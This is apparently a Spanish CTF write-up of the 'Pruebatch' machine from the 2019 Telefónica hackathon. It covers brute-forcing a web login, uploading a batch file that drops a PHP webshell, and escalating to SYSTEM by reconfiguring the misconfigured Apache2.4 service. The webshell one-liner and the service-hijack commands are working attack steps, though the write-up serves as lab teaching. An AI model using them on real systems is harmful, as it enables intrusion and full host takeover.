Escrito de #HackatonTelefonica – Pruebatch

Este artículo es parte de los escritos para la resolución de las máquinas del evento de la #Hackatón Telefónica 2019 realizado el 24 de Julio.

Pude ser parte del equipo organizador y agregar esta máquina a los desafíos de ese día.

La idea de esta máquina era volver un poco a la etapa universitaria en donde pedían pruebas de desarrollo en un sistema web.

Veamos de qué se trata.

Enumeración Inicial

Inicialmente, al hacer el reconocimiento vemos que está el puerto 7680 y el 8000 abierto y nada más. Asumimos que en el puerto 7680 está el Windows Update Delivery Optimization (WUDO) por lo que nos dirigimos a ver qué es lo que está disponible en el puerto 8000.

Enumeración de puertos

Web Server (8000)

Al revisar esta página vemos lo siguiente:

Página del web server

Este servicio web está protegido por un usuario y contraseña, por lo que comenzamos con el proceso de fuerza bruta manual, la cual no arroja nada.

Comenzamos con fuerza bruta con algún diccionario liviano como “fasttrack.txt” y usando ambos parámetros iguales encontramos que ambos, usuario y password es “test”

Fuerza bruta con wfuzz

Dentro de la aplicación

Al ingresar a la aplicación vemos lo siguiente:

Dentro de la aplicación web

Y tenemos que es una plataforma para recibir tareas y el enunciado dice que se tiene que subir un archivo .zip con un archivo .bat que ejecute una suma de dos números.

El código que hace esa suma es algo como lo siguiente:

@echo off
@set p1=%1
@set p2=%2
@set /a “res=%1 + %2”
echo Resultado: %res%

Al enviar un código similar al anterior, comprimido con la clave pedida al sistema web, aparece la siguiente pantalla:

Resultado exitoso!

Ahí tenemos el primer flag!!

Shell en el equipo

Ahora uno puede intentar generar una Shell en el equipo subiendo un archivo .bat malicioso como por ejemplo algo este 1-liner:

echo ^<?php echo shell_exec(^$_REQUEST[“c”]); ?^> > ./test.php

Con ese código nos aparece una serie de errores en las pruebas, pero sabemos que se creó el archivo y basta con hacer la prueba en la URL http://192.168.182.158:8000/test.php?c=dir

Webshell .php en acción

O el comando whoami

Resultado del comando whoami

Y si nos movemos un poco dentro de los directorios de XAMPP podemos ver que existe otro archivo flag.txt

Listado de directorio con flag.txt

Elevando para el último flag

Ahora hay que moverse sigilosamente porque Windows Defender está activo, y cualquier intento de infectar el equipo va a botar el servicio Web (¡que invasivo!).

Windows Defender tb toma como malicioso cualquier intento de subir una shell reversa “normal” y varias de las herramientas de Powershell para hacer enumeraciones (aunque no es defícil bypassearlo), la idea es que se fueran por otro lado.

Para sacar el último flag hay que elevar privilegios y como no hay nada más anormal instalado/habilitado nos ponemos a investigar el servicio de “Apache2.4”. Para esto revisamos el servicio con el comando:

sc sdshow apache2.4

Resultado de sc sdshow apache2.4

Ahora podemos ver que el existe un set de permisos extraños configurados, tenemos permisos nuevos definidos para el usuario con SID: S-1-5-21-1798512092-722548536-3125837225-1002

Averiguando con el mismo comando whoami, podemos ver cuál es el SID del usuario actual y confirmamos que es el mismo.

Resultado del comando whoami /user

Entonces ahora tenemos todas las piezas del puzzle, por lo que simplemente hay que juntarlas para hacer la elevación.

El objetivo es cambiar el servicio de Apache para que corra con los permisos de SYSTEM en vez de los permisos del usuario xampp y así tener la misma Shell pero con permisos completos.

Entonces generamos este archivo .bat

echo sc config “Apache2.4” obj= LocalSystem >> C:\Users\Public\prueba.bat
echo net stop “Apache2.4” >> C:\Users\Public\prueba.bat
echo net start “Apache2.4” >> C:\Users\Public\prueba.bat

Resultado de la shell

Y luego basta simplemente ejecutarlo para tener el servicio de XAMPP con el usuario SYSTEM (si no funciona directamente usar el comando AT)

La misma shell después de la ejecución del .bat

Con esto tenemos acceso directo a la carpeta del “Profesor” y al flag

Listado de la carpeta del Profesor

Ojalá que les haya gustado la máquina, y nos vemos en el siguiente año.

Ricardo Monreal Llop
Presidente
FINSIN

Deje un comentario

Crea una web o blog en WordPress.com

Subir ↑